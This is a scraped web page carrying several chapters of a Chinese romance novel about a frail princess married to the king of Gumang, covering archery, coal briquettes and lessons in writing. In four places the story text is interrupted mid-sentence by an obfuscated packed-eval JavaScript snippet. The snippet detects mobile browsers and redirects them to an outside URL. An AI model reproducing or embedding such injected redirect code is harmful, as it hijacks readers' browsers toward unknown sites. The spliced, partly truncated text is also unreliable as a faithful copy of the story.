围猎开始,靶场上已没有什么人了,令方才祭祀时被无数视线无声观察打量的花韵之暗暗松了口气。 “公主可善骑射?” 自箭筒中抽出一支箭,独孤朔回到花韵之身旁。握着弓的公主抬眸看了眼百步之外的靶子,又垂下眼:“王上,我不善武艺。” “那公主可想骑射?” 男人行至身后,微微俯身。温热的气息扑在花韵之的耳尖,白皙的肌肤染上些许浅淡的薄红。公主低低应了一声。 他想。 但自幼体弱多病的公主被养在深宫,只能望着四四方方的天。莫说骑射,人生十几载,花韵之就连纵马奔腾都未曾有过。 可独孤朔握住了他的手臂。 “既然如此,公主。” 高大的王笼住娇小的公主,独孤朔引着花韵之抬起手臂。箭落上弓弦,王的大手包住公主柔软的五指,独孤朔带着花韵之拉开弓弦。 “我会教您。” 利箭飞出,正中靶心。 公主睁大了眼。 …… 大鲜卑山是一片漫长的山林。 每年五月,孤邙的王公贵族都会在大鲜卑山进行围猎,为祭祀先祖与长生天。 而漫长繁琐的祭祀仪式后,便是围猎了。 马蹄声连绵不绝,山林间时不时传来欢呼、懊恼与弓箭射出的声音。但身为孤邙王,在射出第一箭,命中一只白狐后,独孤朔便带着花韵之共乘一马,漫步在林间。 花韵之看什么都新奇。 他还是第一次见识到真正的山林。药罐子里长大的公主不比皇子见多识广,从小到大,花韵之连皇家园林都未曾去过。 望着树上初冒的新芽,马蹄边堪堪露头的青草,看着时不时出现的小动物,以及山林间仍带着浮冰、潺潺流淌的小河,花韵之只觉灵魂都被浸饱雪水的泥土味洗涤。 “公主,大鲜卑山的初春冷寂,无甚风景。” 圈着怀中柔软的公主,王微微垂眸:“公主若感兴趣,待到盛夏我再与公主前来,可好?” 目光在山林间流连,花韵之不自觉笑了笑:“当下便很好……多谢王上。” 独孤朔带着花韵之在林中转了三圈。 “公主,可想要骑射?” 终于,在花韵之习惯了周遭的一切后,独孤朔微微垂首,在公主的耳边道。 花韵之顿了顿。 “王上,我……” 他可以吗? “不必怕。”花韵之迟疑且恐惧。而看出他情绪的独孤朔覆上他的手:“公主,有我在。” …… 挽弓,搭箭。 驰骋林间。 风撩起长长的马尾,吻过花韵之浮着红晕的面颊。那双因兴奋的蜜色眼眸盛满破碎的光,在独自射中第一只猎物时,花韵之发出一声低低的欢呼。 孤邙王似乎笑了笑。 但待公主回眸看去时,独孤朔的神情却依旧淡然,唯有那双眉眼于无声间柔和,蓄着本不该属于孤邙王的情绪,温柔地注视着公主。 “公主当真是厉害。” 以指节蹭了蹭花韵之的脸颊,独孤朔轻声:“公主可还要继续?” 紧抿红唇,花韵之的眼中尽是喜悦与兴奋。一向内敛沉默的公主似乎从未这般高兴过,他毫不犹豫地点了点头。 “好。” 独孤朔也毫不犹豫地应下。 这场围猎下来,花韵之一共射到了三只猎物,且都是小猎物。这个战绩在一众射虎射豹射狼射熊的孤邙贵族中毫不起眼,甚至有些可笑。 但花韵之却很开心。 他甚至对着独孤朔露出了真心实意的笑容。 而看着笑容明媚的公主,独孤朔的指尖不自觉颤了颤。 是夜。 驻扎林中的营帐层层叠叠,篝火在最中心的空地上点燃。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15896013|176203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 炙热的火焰跳跃,映照着每一人的面庞,且直向天去,似要与明月争辉。 身为孤邙王,纵使围猎,独孤朔也要处理政务。因此,用过晚膳后,花韵之便没有再坐在独孤朔身旁,而是独自一人坐在一个角落里,注视着明月。 “这是……嗯?” 只是,伴随着一阵轻快的脚步声,陌生的男声忽然传来。花韵之没有分出半分目光,但那脚步声却愈来愈近。 “你是哪家的小姐?怎么一个人在这?” 流利的孤邙话滚入耳中,意识到对方已看到自己、且未认出自己的花韵之静默片刻,才侧目看去。 那是一个少年,一个不大的少年。 他有着一头微微卷翘的长发。而不待花韵之答,他便扑到了花韵之面前:“我是赫连阜,你叫什么名字?” 花韵之:“……” 见他沉默,赫连阜也不觉扫兴,继续道:“你怎么一个人在这?女眷不是在另一边吗?你是迷路了吗?还是兜兜转转不小心走过来的?” “不、是。”生涩的孤邙话挤出唇间,勉强听懂了赫连阜在说什么的花韵之低声:“我在,等,人。” “等人?” 赫连阜也没觉得花韵之磕磕绊绊的话奇怪,只以为是这位小姐害羞。他侧头想了想,忽地恍然大悟:“你是来会情郎的?” 花韵之:“……”不是。 但就当是吧。 说孤邙话很累,公主已无心作答,只静静坐在那里。而赫连阜却好似很好奇他的情郎是谁,不仅在他身边打转,还一个一个开始报名字。 花韵之:“……” 虽然因此得知了不少孤邙王公贵族子嗣的姓名,但花韵之实在不知这有何用。百无聊赖的公主叹了口气,勉强将其视作学习孤邙话的日程。 “贺兰岂也不是?那是谁?” 但将名字念完了的赫连阜苦恼。而花韵之轻轻看了他一眼,正要起身离开,忽地不知想到了什么的小少年猛地红了脸。 “你、你……” 赫连阜磕磕绊绊:“你不会是来寻我的吧……那你是哪家的小姐?” 花韵之:“……” 花韵之咬牙:“不、是!” 赫连阜松了口气,却又有点失落:“既然我们都不是,那你是来寻谁的?小姐,小小姐,求求你了,告诉我吧!” 竖起食指抵在唇边,赫连阜眨了眨眼:“我保证不说出去。” 花韵之抿了抿唇,没有回答赫连阜。在赫连阜眼巴巴的祈求目光下,公主抬眼又看了看月亮,便提起裙摆,向王的营帐奔去。 赫连阜望着公主的背影,默默在心中整理着驻扎在这个方向的营帐,忽地一顿。 “等等……” 因还只是公子,无需参与祭祀仪式,因此在营帐中一觉睡到围猎的赫连阜猛地抬手捂住了脸。 听说王上带了那位中原公主来参加围猎…… ——他不会遇到了那位中原公主吧! …… “方才去做什么了。” 回到营帐,仍在处理政务的独孤朔没有避着公主。公主也很自觉,没有去看案上文书。 “看月亮。” 公主说。 王轻轻点头,又问:“赫连家的公子有打扰到你吗。” 公主的动作一顿,垂下眼帘。 “……没有。” 7.煤饼 在大鲜卑山的围猎持续了七日。 七日后,艳阳天。 拜别的祭祖仪式结束后,浩浩荡荡的人群纵马奔袭于山间。彻底融化的雪水滋养土地,青草已彻底冒出了头,还未绽放成树叶的嫩芽却依旧娇小,星星点点地坠在树枝上。 “马车已在山下候着。公主的腿可还好?” 被药香浸染大的公主过分脆弱,仿若瓷娃娃。不过只是两日的骑射,花韵之的腿根便被磨出了血痕,连行走都艰难。 此时,侧坐马上的花韵之被独孤朔圈在怀中。独孤朔关切的话语令花韵之垂下眼,无声无息地红了脸。 “……嗯。” 太丢人了。 公主的指尖揪住裙摆。 明明是他自己想要骑射,明明也没有过度,却偏偏还是把自己搞成了这幅模样。几日不能出门,还要劳烦孤邙王亲自照顾自己……花韵之早已开始后悔为何那日后的自己还要不自量力,再度骑射。 甚至就连今日,今日…… 他都是被孤邙王抱上高马的。 “公主在想什么?” 温热的气息扑在耳尖。忽闻此话,沉浸在思绪中的公主猛地回神。花韵之有些慌乱地抬眼垂眼,最终,揪住裙摆的手更用力了:“……没什么。” 看出花韵之情绪不佳的独孤朔默了默,却也没说什么宽慰的话。他只淡声道:“待回到王都,公主可有什么想做的事。” 花韵之愣了愣,而独孤朔道:“深宫无趣,我无意拘泥公主。公主若想做什么,与我说,我会帮助公主。” 帮助…… 红唇不自觉抿起,花韵之轻轻抬眸,看向独孤朔,却恰好对上了那双灰蓝色的眼眸。而与公主的目光相接的瞬间,独孤朔攥着缰绳的手微微收紧。 他缓声开口:“所以,公主有想做的事吗?” 想做的事。 眼睫再度颤抖着垂下,公主的声音很低,且似答非所问:“北地的冬日,一直很冷吗。” “是。”并未犹疑花韵之为何如此问,独孤朔只平静地解答着他的问题:“从罗荒野至辽西府,当寒冬降临,孤邙的每一寸国土都将被冰封。在孤邙,一年有半年的光阴,都属于漫无边际的白雪。” “那……” 花韵之的声音似乎更低了:“王上,我可以与男人相处吗?” 独孤朔顿了顿:“公主何出此言?” 蹂躏着裙摆,清楚自己的问题荒谬的花韵之声音几乎低不可闻:“在我的嫁妆里,有一物名为煤饼。其价格低廉,燃烧时间亦长。大梁家家户户四季都使之做饭,冬日以之取暖。” 独孤朔静静注视着花韵之,而花韵之鼓起勇气,再度抬起了眼。 “不知王上可否准许我携工匠,在孤邙复刻此物?” …… 黑水的春是青绿的。 那是一种很独特的绿,与江南四季如春的温暖不同,这种绿带着难以言喻的盎然,亦携着晚冬未彻底逝去的清冷。 初春的黑水依旧不近人情。 细微的寒意密密麻麻,溢满空气,虽不比深冬会刺痛肺腑,却也令人本能不适。而此时,寒意顺着鼻尖涌入身体,将公主从里到外包裹的彻底。 公主却无心在意这些。 “这是煤饼。” 一团黑漆漆、形状却仿若莲藕段般的东西托在花韵之白玉似的掌心。 算不得流利的孤邙话简单。对着那些眼前一亮,恨不得当即就将煤饼拆解了解其原理的孤邙工匠,花韵之简洁明了道:“它是煤渣与黄泥制成的,好像还可以加一些木炭粉。但具体比例我都不清楚,需要大家一点一点去试。” 工匠们对视了一眼,便站出一人,对着公主说了些什么。 流利繁琐的孤邙话听的花韵之有些迷茫。但很快,一旁独孤朔以防花韵之与工匠沟通不畅的教习嬷嬷便替花韵之翻译道:“他们说这不是大问题,但他们需要实物,以作参照。” 花韵之毫不犹豫:“好。” 他将掌心的煤饼递给了站出的那位工匠。眸子微微睁大,那位工匠小心翼翼地接过这枚煤饼,便带着一众工匠快步奔回了屋子。 而被忽视的花韵之没有说些什么,只抬脚跟了上去。 屋子内。 工匠们对着那个煤饼仔细打量,他们时不时摸一摸,时不时搓下来一块,又时不时交谈几句。工匠们的语速极快,措辞又有些少见,至少花韵之当下多半没学到。 公主听的一头雾水,却也不打扰工匠,就默默站在一旁,静静注视着他们的动作。 过了片刻,工匠们点燃了煤饼。 他们对着煤饼的温度大呼小叫,对着煤饼的燃烧速度啧啧称奇,而注视着煤饼的目光也愈发炙热深情。 终于—— “公主。” 一个工匠健步上前,对花韵之行了一个拙劣的汉礼,又以蹩脚的中原话对花韵之道:“这个煤饼,有吗?” 花韵之愣了愣,随即反应过来:“是还需要煤饼吗?” 听到公主有些磕绊,但勉强还算清晰的孤邙话,工匠猛地点了点头。 其他工匠也围了上来,将公主簇拥在中心。而花韵之轻轻点头,道:“你们还需要多少?” 工匠们竖起一根手指。 一个。 …… 虽然工匠们只要了一个煤饼,但临行前被母亲强行带上数箱煤饼做嫁妆的花韵之还是给了他们一人一个,以让他们不需要围在一起研究那一个可怜兮兮的煤饼。 授人以鱼不如授人以渔,读圣贤书长大的公主清楚这些。因此,纵使花韵之带的煤饼足够多,但希望煤饼能成为庇护孤邙百姓的良物,而不是孤邙贵族新的炫耀资本的公主还是选择召集工匠一同研究。 花韵之清楚,他并不精于此,大抵帮不上什么忙。 但公主还是选择照猫画虎,与那些工匠一起日日在工匠坊搓黄泥与煤渣。 终于。 “——成功了!” 高亢到破音的男声刺碎静谧。 那是孤邙的晚春。 盎然绿意包裹了每一寸土地,青山变的毛茸茸的,好似一只倦怠的猫儿在草中打了个滚,为自己染上满身绿色,又懒洋洋地趴在了那里。 那是已经温暖起来的晚春。 街上行人的衣装愈发单薄,原本裹在身上的皮毛大衣也与白雪一同消失不见。黑水城不再死寂,来往行人交错,活过了上一个冬天的孩童在街上跑跳,卖货郎则吆喝着自己的商品。 王宫内。 一个欣喜若狂的工匠捧着自己的煤饼,对着天高声笑道:“成功了!我成功了!我做出来了!我做出来了!” 他的身上染着泥腥,公主也是。原本白皙的小脸上沾着黑黑黄黄,双手也满是泥泞。但注视着那位几近癫狂的孤邙工匠,花韵之却不自觉弯起唇角。 “真的成功了?!” 有人快速起身。 那位孤邙工匠用力点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15908050|176203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头,并大声说着自己的配比,其余工匠也马不停蹄地开始改,而在几月的相处中,已能勉强听懂他们话语的花韵之垂眸看了看自己正在做的煤饼。 看来,他这个也成功了。 这个的配比与那位孤邙工匠的相同,皆是四比一。 而在兴奋地捧着煤饼跑了三圈后,那位孤邙工匠又兴冲冲地坐下,开始实验是否有更节省的配比。 其余工匠:“……” 他们看着那位工匠热火朝天的背影,终是暗暗叹了口气,派一人上前提醒他道:“你该去禀报王上。” 那位工匠似刚想起此事,愣了愣才不情不愿地扭头。 “我难道不能研制出更节省的煤饼,再去寻找王上?” 他不甘心道。 去见王上麻烦死了……要洗漱,还要更衣,还要走礼仪。他们就没有一个人愿意去。 而看着那位工匠磨磨蹭蹭的动作,花韵之垂眸看了看自己的身前煤饼,终是轻声开口:“不如,我替你转告王上。” 那位工匠眼前一亮。 他当即回过头来,大声报出了自己的名字。 “耶律抵!” 孤邙的男女间虽有礼仪,却并无大防。但公主毕竟身为王上的妃嫔,不好让外男过分靠近,耶律抵便只是大声喊着:“公主,我叫耶律抵!是我复刻出了煤饼!” “好。”花韵之轻轻颔首:“我记住了。” …… 许是心情愉悦,公主的脚步也是轻快的。 洗脸更衣梳发后,再度变得干干净净的花韵之被内侍引着,来到了独孤朔的书房。 “公主。” 独孤朔似乎并不意外他的到来。 或者说,独孤朔已经期待他的到来许久。 但当真见到好长一段时日没有来见他的公主,独孤朔拈笔的指尖仍是顿了顿,才缓缓落下。 “这段时日,公主可还安好。” 花韵之点了点头,随即抬眸看向独孤朔。而见到那双亮晶晶的眼睛,独孤朔顿了顿,随即缓声开口道。 “可是他们已做出了煤饼?” “是,王上。”忆起此事,花韵之仍不自觉弯起眉眼:“工匠耶律抵,成功复刻出了煤饼。” 猜想成真,独孤朔也勾起唇角。他起身,走向公主。 “此物将造福孤邙万民,公主与此工匠,堪当首功。” 独孤朔的言语笃定,花韵之却愣了愣:“我如何堪当首功?” “公主如何不当首功?”独孤朔垂眸看向公主:“若非公主献出此物,在下一个冬天到来之际,孤邙万民仍在寒冷中挣扎。若公主不授孤邙以渔,孤邙的百姓便仍在无涯苦海中艰难度日。” “公主,你如何不当首功?” 微微俯身的男人逼近花韵之的面庞,认真注视着那双漾着暖意的蜜色眸子。轻咬红唇的公主静默,而独孤朔的声音极缓。 “公主,你是首功。” 纤长的眼睫颤动,喜意盎然间,花韵之的指尖无声揪住了袖口。 他没有回答独孤朔笃定的话语。 而独孤朔似也不想强迫公主承认。 独孤朔笑了笑,便直起身。 “那公主,可愿与我一同再去看看这将造福万民之物?” 宽大的手掌在花韵之面前摊开,独孤朔静静注视着身前的公主。花韵之的指尖不自觉轻蜷了蜷,却终是松开。 他落上了独孤朔的手。 “好。” 8.文字 在亲眼见过、并亲自试验过工匠耶律抵仿制出的煤饼后,独孤朔便毫不吝啬地封赏了他,给予他应有的荣誉。 而那些没有成功仿制出煤饼、但也劳心劳力数月的工匠们也得到了丰厚的报酬,足够他们一家人几年吃喝不愁的报酬。 这无疑是一个圆满的结局。看着欣喜到脸都涨红的工匠们,花韵之也很高兴。 被男人包在掌心的指尖不自颤了颤,花韵之抬起首,抿起唇,对着独孤朔露出一个温婉又灿烂的笑。那双蜜色眼眸在此时微微弯起,却依旧明亮,好似有无数星火在眼底闪耀。 “……” 独孤朔无声握紧了花韵之的手。 待煤饼一事尘埃落定,已是次日的戌时。 太阳已经落山了,唯有漫天霞光昭告着它曾经来过。如火残阳烧红了漫天云彩,花韵之被独孤朔牵着手,漫步在空寂的宫道上。 “公主。” 无甚起伏的声音响起,花韵之抬眸看向独孤朔,独孤朔亦垂眸看向他。 “此事已罢,煤饼不日便会流入市中。公主可还有何事想做。” 花韵之愣了愣。 为了煤饼一事,花韵之与那些工匠一起忙碌了月余。虽然他自觉除了献出实物没有帮到任何忙,但也算给自己找了些事做。 而当下煤饼已成,只待孤邙王下令,让各地的煤场生产,流入寻常百姓家。他却又成了那个无所事事,只能把自己关在宫室里的公主。 孤邙王……似乎不希望他这样。 可自小就被豢养在深宫中的公主低垂下眼,很想要为自己找出些事做。但许是一时有些着急,花韵之思索了许久,脑中却依旧是大片空白。 ……他不知自己该做些什么。 唇抿了抿,又抿了抿。 在孤邙王平静的目光下,花韵之终是低低开口:“王上……” 鸦羽轻颤,半掩了那双蜜色眼眸。公主的声音很低:“我……没有想做的事。” 出乎意料的,孤邙王并没有对怯懦的公主说些什么,也没有强迫公主必须选出一个自己想做的事。他只淡声道:“既然如此,公主可愿习孤邙文字?” “我教公主。” 什么? 慌乱无措间,眼睫抬起又垂下。蜜棕色的眸子颤抖着,心脏更是乱了拍子。但自视甚低的公主如何会说不好呢?如何会拒绝孤邙王呢? 薄唇紧抿,良久沉默后,花韵之终是低低开口。 “嗯……” 干涩的声音挤出唇瓣,公主努力地牵了牵唇角:“多谢……王上。” …… 孤邙文字很独特。粗略看去像一个个有些扭曲的汉字,但细细看去又不是汉字,曾让初学的公主颇为头痛。 当然,当下的公主也会头痛。 注视着独孤朔笔下锐利的孤邙文字,花韵之只觉得自己眼睛都要与思绪一同变成圈圈。 ……这是什么字?这是什么意思?这个字为什么会这样写? 花韵之注视着那个字,只觉得字不认识他,他也不认识字。 看着一脸凝重试图分辨出这个字的花韵之,独孤朔不自觉牵了牵唇角。他以笔尾点上宣纸:“花。” 花韵之一愣,抬眸看向独孤朔。 而独孤朔又俯身,在一旁写下了一个汉字。 ——花。 原是花。 花韵之的目光左右移动着,试图让自己记下这个字,可那个孤邙文字仍在他的脑中横冲直撞,与公主习了十几年的汉字打架。 独孤朔似乎也不强求他一日便记下,只将那张纸递到花韵之面前,便继续研磨,书些什么。 待到花韵之终于勉强记下这一个字时,独孤朔已写好了第二个、第三个字。 看着如临大敌的公主,独孤朔还是将那两张纸落到了花韵之面前,拼凑成三个连在一起的文字。 “韵。” 他指着中间那枚:“是公主小字中的韵,也是声韵的韵。” 花韵之忽然觉得自己猜到最后一枚字为何了。 果不其然—— “之。” 独孤朔的指尖按上最后一枚字:“亦是公主小字中的之。” 韵之。 公主的小字,也是独孤朔交给花韵之的第一课。 那一日,花韵之都在记自己的字,他几乎要不认识‘花韵之’三字该如何写了。独孤朔倒是一直注视着公主,时不时纠正一下将字记混的公主,引导着公主以孤邙话念出自己的名字。 “公主很聪明。” 日薄西山。 忽闻此话,一直在懊恼自己怎如此蠢笨的公主不自觉咬住了唇。他似乎觉得独孤朔说的是反话,而与花韵之一同回到寝宫的独孤朔淡声:“我初学大梁官话时,可做不到如公主一般,一日便记住自己的姓名是如何的字。” “……多谢王上夸奖。” 指尖不自觉揪着袖口,花韵之的声音很低:“但我,不是初学。” 早在大梁时,公主便接触了这些于他而言近乎天书的孤邙文字。但奈何自学几乎全无成效,纵使公主能够听懂,却无论如何都无法辨认这些天书,甚至天书还愈发天书起来。 琴棋书画样样精通的公主认为自己似乎有些蠢笨,至少在孤邙文字上全无天赋。 可独孤朔却道:“那又如何。” “孤邙文字较比汉字更为繁琐,公主先前未有师长,自学无成效也是人之常情。”独孤朔垂眸看向花韵之:“公主聪慧,切莫妄自菲薄。” 眼睫颤动,花韵之紧抿双唇,未答独孤朔的话。 可待回到寝殿更衣卸发后,公主又后知后觉地想到——他从未与任何人说起,孤邙王是如何知晓他是自学?又是如何知晓他并无师长教导。 …… 待记住文字,便要开始书写了。 高大的男人立在身后,瘦削的脊背贴上男人结实的身体。较比男人矮了近一个头的公主感受着近在咫尺的气息,只觉这具身体都不再属于自己。 记忆似乎又回了那个近乎荒唐的夜晚,本能想逃的公主压抑着自己的想法。 “公主,记住了吗?” 大手包着小手,小手握着墨笔。 似乎是并未察觉到怀中人的僵硬,独孤朔引着花韵之一笔一划地在白纸上写下文字。而花韵之定定注视着纸上的文字,终是缓缓开口:“……嗯。” 独孤朔却没有松开花韵之的手。 “公主,再来一遍。” 又是一张全新的纸张,又是一个个同时携着娟秀与锐利的文字。独孤朔引着花韵之一遍遍写下自己的名字,直到墨迹落满整张纸张。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15920068|176203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >独孤朔终于松开了花韵之的手。 “公主,可记住了?” 花韵之轻轻点头:“记住了。” 退到一旁,独孤朔又取出一张纸落到桌案,示意公主落笔。 指尖微蜷,轻抿红唇,饮饱墨汁的笔尖终是落下。花韵之虽心下迟疑,落笔却是坚定的,每一笔一划都如过去那成百次一般。 如出一辙的文字诞生。 只是这字迹不再携着王的肆意锋利,而是如公主所写下的每一个汉字般挺拔,又携着独特的娟秀内敛。 “公主聪慧过人。” 注视着花韵之的字,独孤朔一向如死水的声音似乎染上几分温和:“第一次便写的这样好,看来公主的确很有天赋。” 得到这样的评价,花韵之无疑是有些高兴的。但他还是实事求是道:“王上也教了我千百遍。” 独孤朔抬眸看向花韵之,轻牵了牵唇角:“若非公主聪慧,就算是教万遍百万遍,也写不出这么好的字。” 直接的夸赞令花韵之不自觉抿起了唇,耳根却悄悄红了。窥探到发间通红的耳尖,独孤朔的声音似乎更温和了:“公主,再学几个字可好?” 花韵之轻轻点头。 公主的确是娇小的。 若他当真是个女子,他的身量也算得颇高,但在八尺余高的独孤朔面前完全不够看。高大的男人立在公主身后,几乎能将公主整个遮掩,藏的丝毫不漏。 独孤朔再度覆上了花韵之的手,引着已会写下自己名字的花韵之一笔一划地写下他的姓名。 “公主,是这样……” 男人温热的气息扑在耳尖,公主本就泛起粉红的耳朵似乎更红了。粗略看去,就像一朵别在鬓边早已盛放的山茶。 让人移不开眼。 …… 光阴飞逝。 终于会以孤邙文字写自己姓名与独孤朔姓名的花韵之手腕酸痛,心情却是极好。似有如无的笑意悬在公主的唇角,药膏正敷着白玉似的手腕,花韵之听着独孤朔给他讲孤邙的民间故事。 那些故事新奇极了,让在此之前只读圣贤书,最出格也只是在得知自己将嫁到孤邙后看了本孤邙游记的花韵之聚精会神。 “公主,腕可还痛?” 只是讲着讲着,独孤朔总会这样问一句。 被男人刻意遮掩的情绪令公主看不出,花韵之浅笑着抬首,对着独孤朔弯起眼睛:“多谢王上关怀,不是很痛了。” 男人宽大的手掌负在少年纤细的手腕上,本就冰凉的药被轻轻按下,更贴近皮肉,也似乎更凉了。 “此事是我之过……” 独孤朔垂眸注视着公主:“是我急功近利。” 花韵之愣了愣,似有些讶异:“王上何出此言?王上教我,若说急功近利……又如何会是王上急功近利?” 注视着如被踩了尾巴的兔子般瞬间慌乱起来,想要解释些什么——但大抵只是将所有责任揽到自己身上的公主,独孤朔的心仿佛被一只大手狠狠攥紧。 他面无表情地俯身,逼近花韵之的面庞,强行将花韵之的话语堵了回去。 “……王上。” 看着又变的有些怯怯的公主,独孤朔缓缓直起身。他安抚性地抚过公主的发髻,转移了话题。 “公主,可还有什么想听的故事。” 9.秋千 孤邙王的故事令公主着迷。 花韵之似乎很喜欢那些或奇幻或传奇的故事,尤其偏爱仗剑走天下的侠客。纵使他一向内敛含蓄,但在听到那些故事时,往往也会流露出几分难以遏制的向往与兴奋。 而注视着公主亮晶晶的眼睛,独孤朔似乎也喜欢上了这些故事。 自此之后,独孤朔乐此不疲的寻觅着中原与孤邙的新故事,几乎每夜都为花韵之讲着。公主也极为捧场,纵使最喜爱的还是那位来自中原走遍四海八荒的侠客,但无论孤邙王讲什么故事,公主都聚精会神。 “今天的故事,公主喜欢吗?” 缓缓抚摸着榻上人的长发,独孤朔垂眸看着半张小脸藏在被子下的花韵之。 花韵之轻轻弯起了眼睛。 “嗯!” 公主的声音轻快,不再如过往那般小心翼翼。 而不知是因故事太好听,还是孤邙王过分平易近人。总之,当下的花韵之已经没有最初那般惧怕独孤朔了。 纵使自心底而言,冥思苦想也不明白孤邙王为什么对他这么好的公主依旧警惕,依旧不信任孤邙王。 但,他偶尔也会认为孤邙王是一个好人。 而好人孤邙王似乎笑了笑。 “公主喜欢便好。” 轻抚着花韵之的长发,独孤朔声音轻缓:“煤饼的一切都准备妥当,寒冬将不再成为折磨孤邙百姓的炼狱。” “公主,做个好梦。” …… 月朗星稀。 随着一个又一个的故事,晚春在悄无声息间离去,夏终于光临了这片极北之地。夜晚的蝉鸣不断,花韵之蜷缩在床榻上,回忆着自己今日晨间听到的好消息。 随着孤邙王的一纸诏书,煤饼悄无声息地流入孤邙市井,并在极快的时间内以其低廉的价格、优异的品质成为了孤邙百姓家家户户的必需品。 虽然上一个冬已彻底离去,但火永远是重要的。 他们终于可以吃上一口热饭了。 花韵之由衷的为此感到高兴。 散开的长发垂在身后,好似展开的蝶翼。一袭单薄里衣的公主弯起眼睛。面颊似乎泛起了浅淡的薄红,花韵之抱着枕头,将自己的脸埋到了枕头里。 煤饼是煤渣与黄泥所制,若非为孤邙少见的稀罕物,贵族是不会稀罕用这些的。毕竟纵使孤邙物资贫瘠,他们家中也不会缺柴火,煤炭,木炭,何须用这般廉价的物什度日。 但有些机敏的贵族打听到这煤饼是得王上独宠的中原公主所带来,便也跟着买了几筐,家里用了几天,也算是向王上表自己的耿耿忠心。 不过这些,花韵之不在乎。 独孤朔更不会在乎。 听着隔壁的悉悉索索声,正在批阅文书的男人柔和了眉眼。回首看向身后的墙壁,独孤朔似乎能透过墙壁,看到正在床上笑着的公主。 深宫中不得重视,不被宠爱的公主自小就是这样,遇到什么高兴的事只会偷偷藏在心底。若是高兴的狠了,便会偷偷说给枕头听。 看来……他当真是很高兴。 独孤朔想了想,还是决定不打扰花韵之。 和亲苦涩,独孤朔清楚。花韵之怕他,独孤朔也清楚。来到孤邙后,花韵之难得这般高兴,已经许久未见他露出真心笑容的独孤朔也高兴。 无声弯了弯唇角,独孤朔吩咐内侍去给花韵之送去了盘糕点,便继续伏案工作。 …… 翌日,天光大亮。 待独孤朔回到花韵之寝殿时,早已结束洗漱更衣的公主当即迎了上来。 “王上。” 在外人面前,花韵之总是扮演着一个贤妻——纵使他从不认为自己的身份是独孤朔的妻子。 半散长发的公主发间仅坠着几根长簪,朴素的发髻却掩不住容颜的娇俏。站定在王身前,花韵之微微抬首,认真注视着王。而当那双清澈明亮的蜜色眼眸认真注视一人时,总会给人几分说不清道不明的眷恋。 独孤朔喜欢花韵之的目光。 垂眸注视着那双仿若琥珀的眼,独孤朔似乎牵了牵唇角。但那弧度实在是过分微末,莫说公主,连独孤朔身边的内侍都未曾捕捉到。 “景园的花开了。” 遣退内侍,独孤朔牵住花韵之的手,引着花韵之行至窗边。只是花韵之寝殿的位置位于后宫中央,看不到景园的花,却能看到院落中含苞待放的花苞。 “公主今日可有闲情雅致,与我一同去景园赏花?” 独孤朔无声扫过案上已画到一半的画,才再度看向花韵之的面庞。 眼睫轻颤,唇角却绽放了温柔的笑意。花韵之抬起眼,看向独孤朔,轻声应道:“多谢王上,我很愿意。” 景园是孤邙皇宫中的花园。 不比大梁江南皇宫的万紫千红,也不比西京长安行宫的争奇斗艳,景园里的花算不得多,也算不得名贵,却朵朵开的灿烂。 往日在大梁宫中时,花韵之便常常跑到锦园,在空无一人角落里的秋千上晒太阳。他对大梁锦园是熟悉的,但却从未来过孤邙的景园,自然也不熟悉这方天地。 大朵大朵的花绽放在青石板路两旁,却不争芳。花韵之的眸子里映着大片的红,大片的绿,与大片的粉。这条路两旁的花只有两种色彩,绿叶倒是缤纷,或青绿或翠绿或深绿,却都努力展开汲取着日光,为自己与花儿的蓬勃生长尽一份力。 “公主。” 花韵之忽觉鬓边一沉。 浅淡的花香萦绕在周身,公主如本能般抬手扶住鬓边,却摸到了柔软的花瓣。花韵之顿了顿,抬眸看向身侧,恰好对上了独孤朔的眼。 “王上?” 并未对自己的举措解释些什么,专注的灰蓝眸中映着公主姣好的容颜。独孤朔轻轻扶住花韵之的下巴,微微俯身:“好似有些歪。” “公主,别动。” 炙热的躯体愈来愈近,温热的气息迎面而来,公主的耳尖在悄无声息间亦染上了几分热意。男人的大手带出了鬓边那朵娇艳的花,花韵之也窥到了它的色彩。 ——红。 明艳的,灿烂的,如血一般的红。 而经过男人的几番调整,这朵明艳的红花再度落到了花韵之的鬓边。独孤朔仔细端详了一番公主,便轻轻松开了手。 “好了,公主。” 红花本该是最引人注目的。但随着独孤朔再度将其插入公主的鬓边,花瓣贴在公主的脸侧,明艳的花朵似也成了陪衬。 只是方才捧着下巴的指尖稍有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 